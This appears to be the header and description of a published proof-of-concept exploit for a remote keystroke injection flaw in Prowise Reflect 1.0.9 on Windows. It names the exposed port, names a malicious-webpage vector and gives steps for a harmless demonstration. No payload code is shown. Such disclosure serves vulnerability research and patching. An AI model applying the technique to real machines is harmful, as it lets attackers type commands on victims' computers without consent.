# Exploit Title: Prowise Reflect v1.0.9 - Remote Keystroke Injection
# Date: 30/10/2022
# Exploit Author: Rik Lutz
# Vendor Homepage: https://www.prowise.com/
# Version: V1.0.9
# Tested on: Windows 10

# Prowise Reflect software version 1.0.9 for Windows is vulnerable to a remote keystroke injection. 
# Much like how a rubber ducky attack works but this works either over the network (when port 8082 is exposed),
# or by visiting a malicious website. This POC contains the malicious webpage.
# Steps:
# 1. Start Prowise reflect
# 2. Try to connect to a reflect server e.q. ygm7u6od
# 3. When it is connecting click exploit
#   - Start menu will open, types notepad.exe and types hello world.
